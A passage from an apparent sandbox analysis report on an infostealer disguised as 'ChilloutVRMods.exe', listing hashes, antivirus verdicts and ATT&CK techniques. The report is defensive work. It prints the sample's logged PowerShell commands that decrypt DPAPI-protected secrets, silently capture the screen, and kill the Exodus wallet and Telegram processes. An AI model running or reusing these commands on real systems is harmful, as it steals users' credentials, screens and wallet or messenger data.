"powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAI4cbP2MyEUSpL/AqtX1vKBAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAiQwZLMgQYQB93jcI9afJxjxz+kt1ydh7LTzY11pEMcAAAAAADoAAAAACAAAgAAAA3hy12G1fmhjDO+Wo6wIDfnrOey79Gw9/meLdGEsG6U8wAAAARofjSzQlUi6n9hsA8RD+3/tYyqrMq1W0F5RrY9zq4sjRPkU097zW8IZlORJHSuP3QAAAAMSjIESE6Hw6lBEFUXO+Id1+yyVzLn05kYizt7XFkw9H6zLJVng7ARtcv90UO1WKrnr4CcZo9MR4JG53HEiOrSw=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"" (UID: 00000000-00003696) Spawned process "cmd.exe" with commandline "/d /s /c "tasklist /FO CSV /NH"" (UID: 00000000-00008992) Spawned process "tasklist.exe" with commandline "tasklist /FO CSV /NH" (UID: 00000000-00005868) Spawned process "cmd.exe" with commandline "/d /s /c "tasklist /FO CSV /NH"" (UID: 00000000-00009208) Spawned process "tasklist.exe" with commandline "tasklist /FO CSV /NH" (UID: 00000000-00002656) Spawned process "cmd.exe" with commandline "/d /s /c "taskkill /IM Exodus.exe /F"" (UID: 00000000-00005728) Spawned process "cmd.exe" with commandline "/d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""" (UID: 00000000-00007728) Spawned process "powershell.exe" with commandline "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"" (UID: 00000000-00004788) Spawned process "taskkill.exe" with commandline "taskkill /IM Exodus.exe /F" (UID: 00000000-00007596) Spawned process "cmd.exe" with commandline "/d /s /c "taskkill /IM Telegram.exe /F"" (UID: 00000000-00008104) Spawned process "taskkill.exe" with commandline "taskkill /IM Telegram.exe /F" (UID: 00000000-00005232)1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791556002547,"unified_at":"2026-10-09T14:26:42.547Z","metadata":{"hashes":{"sha256":"70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","sha1":"468fad5fb87ed3a2716dc0cf3feec495bf18b6dd","md5":"4ee07e6c1f3212b798b1323f4f7ff15e","sha512":"a9b89e246cc262f8e08bf86283657bede5f4157a281660872ac9fb4e3a092470d2a4abc78cccb00d75de860ad44ef89e33491342077cb3fc47d62c887e62a07f","ssdeep":"1572864:Xb8i/YOYZX95YsrNy/6e8wLX+JgG1K1OwsSO1YLL8RcD1qYxEpV:Xb8i/YjnYA4ytJgwqnmqACEpV","ssdeep_chunks":["1572864:Xb8i/YO","1572864:b8i/YOY","1572864:8i/YOYZ","1572864:i/YOYZX","1572864:/YOYZX9","1572864:YOYZX95","1572864:OYZX95Y","1572864:YZX95Ys","1572864:ZX95Ysr","1572864:X95YsrN","1572864:95YsrNy","1572864:5YsrNy/","1572864:YsrNy/6","1572864:srNy/6e","1572864:rNy/6e8","1572864:Ny/6e8w","1572864:y/6e8wL","1572864:/6e8wLX","1572864:6e8wLX+","1572864:e8wLX+J","1572864:8wLX+Jg","1572864:wLX+JgG","1572864:LX+JgG1","1572864:X+JgG1K","1572864:+JgG1K1","1572864:JgG1K1O","1572864:gG1K1Ow","1572864:G1K1Ows","1572864:1K1OwsS","1572864:K1OwsSO","1572864:1OwsSO1","1572864:OwsSO1Y","1572864:wsSO1YL","1572864:sSO1YLL","1572864:SO1YLL8","1572864:O1YLL8R","1572864:1YLL8Rc","1572864:YLL8RcD","1572864:LL8RcD1","1572864:L8RcD1q","1572864:8RcD1qY","1572864:RcD1qYx","1572864:cD1qYxE","1572864:D1qYxEp","1572864:1qYxEpV","3145728:Xb8i/YO","3145728:b8i/YOY","3145728:8i/YOYZ","3145728:i/YOYZX","3145728:/YOYZX9","3145728:YOYZX95","3145728:OYZX95Y","3145728:YZX95Ys","3145728:ZX95Ysr","3145728:X95YsrN","3145728:95YsrNy","3145728:5YsrNy/","3145728:YsrNy/6","3145728:srNy/6e","3145728:rNy/6e8","3145728:Ny/6e8w","3145728:y/6e8wL","3145728:/6e8wLX","3145728:6e8wLX+","3145728:e8wLX+J","3145728:8wLX+Jg","3145728:wLX+JgG","3145728:LX+JgG1","3145728:X+JgG1K","3145728:+JgG1K1","3145728:JgG1K1O","3145728:gG1K1Ow","3145728:G1K1Ows","3145728:1K1OwsS","3145728:K1OwsSO","3145728:1OwsSO1","3145728:OwsSO1Y","3145728:wsSO1YL","3145728:sSO1YLL","3145728:SO1YLL8","3145728:O1YLL8R","3145728:1YLL8Rc","3145728:YLL8RcD","3145728:LL8RcD1","3145728:L8RcD1q","3145728:8RcD1qY","3145728:RcD1qYx","3145728:cD1qYxE","3145728:D1qYxEp","3145728:1qYxEpV","1572864:Xb8i/Yj","1572864:b8i/Yjn","1572864:8i/YjnY","1572864:i/YjnYA","1572864:/YjnYA4","1572864:YjnYA4y","1572864:jnYA4yt","1572864:nYA4ytJ","1572864:YA4ytJg","1572864:A4ytJgw","1572864:4ytJgwq","1572864:ytJgwqn","1572864:tJgwqnm","1572864:Jgwqnmq","1572864:gwqnmqA","1572864:wqnmqAC","1572864:qnmqACE","1572864:nmqACEp","1572864:mqACEpV"],"imphash":"4b1892ce4fbcfcf064c6f69d693fc6a5"},"file_info":{"file_name":"ChilloutVRMods.exe","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":80577147,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1788279597000,"last_seen":1788279597000,"last_multi_scan":1788279597000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["windows-server-utility","evasive","infostealer"]},"stats":{"av":{"malicious_count":4,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":112},"sandbox_signatures":{"informative_count":272,"suspicious_count":17,"malicious_count":14,"total":303},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W64.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/GenKryptik_AGen.CEX trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/Generic!398E4E244DD6B9BC","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W64/ABTrojan.YARL-2554","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"MSIL/GenKryptik_AGeneric.CEX trojan","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"Uses .NET dynamic method generation for code execution"},{"type":"suspicious","value":"PE file has unusual entropy resources"},{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Able to execute applications using .NET process API"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"PE file contains large number of import functions"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Able to utilize the Windows bcrypt cryptographic API"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Contains key cryptographic functions (API string)"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"YARA signature match - Djb2 Hash Algorithm"},{"type":"informative","value":"YARA signature match - RSA algorithm (keys)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"informative","value":"YARA signature match - PE executable embedded in .rsrc section"},{"type":"malicious","value":"PE file contains executable resources"},{"type":"informative","value":"YARA signature match – Embedded PE executable"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"},{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API used to retrieve geographical location information"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Calls an API typically used to get system version information"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains ability to modify process attributes (API string)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"malicious","value":"Uses tskill/taskkill excessively (often used to disable security tools)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Drops a license file"},{"type":"informative","value":"Contains references to file movement (imports API)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Able to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Process launched with changed environment"},{"type":"malicious","value":"Spawns many processes"},{"type":"informative","value":"References to WMI query strings used for process discovery"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"malicious","value":"Attempts to stop multiple expected running processes on the machine"},{"type":"malicious","value":"Tries to gather information about running processes on a system"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to enumerate running processes using Tasklist"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Calls an API used to retrieve process information"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Resource Development","technique":"Digital Certificates","attack_id":"T1588.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1588/004","identifiers":[{"type":"informative","value":"May contain SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"},{"type":"informative","value":"Recently renewed or created SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"},{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Contains ability to executes commands or batch file"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Executes WMI queries"},{"type":"suspicious","value":"Contains references to WMI/WMIC"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Executes PowerShell with command line"},{"type":"informative","value":"YARA signature match - PowerShell file content"},{"type":"malicious","value":"Executes powershell requesting to bypass execution policy"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Able to build PowerShell events through modules contained in the .NET code"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains reference to multiple windows system processes"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"suspicious","value":"Detected suspicious script execution from temp folder"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Execution","technique":"Visual Basic","attack_id":"T1059.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/005","identifiers":[{"type":"informative","value":"Launches a VBS file"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Execution","technique":"Python","attack_id":"T1059.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/006","identifiers":[{"type":"malicious","value":"Execute Python scripts with dropped interpreter (Python execution from different path)"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"tactic":"Execution","technique":"Component Object 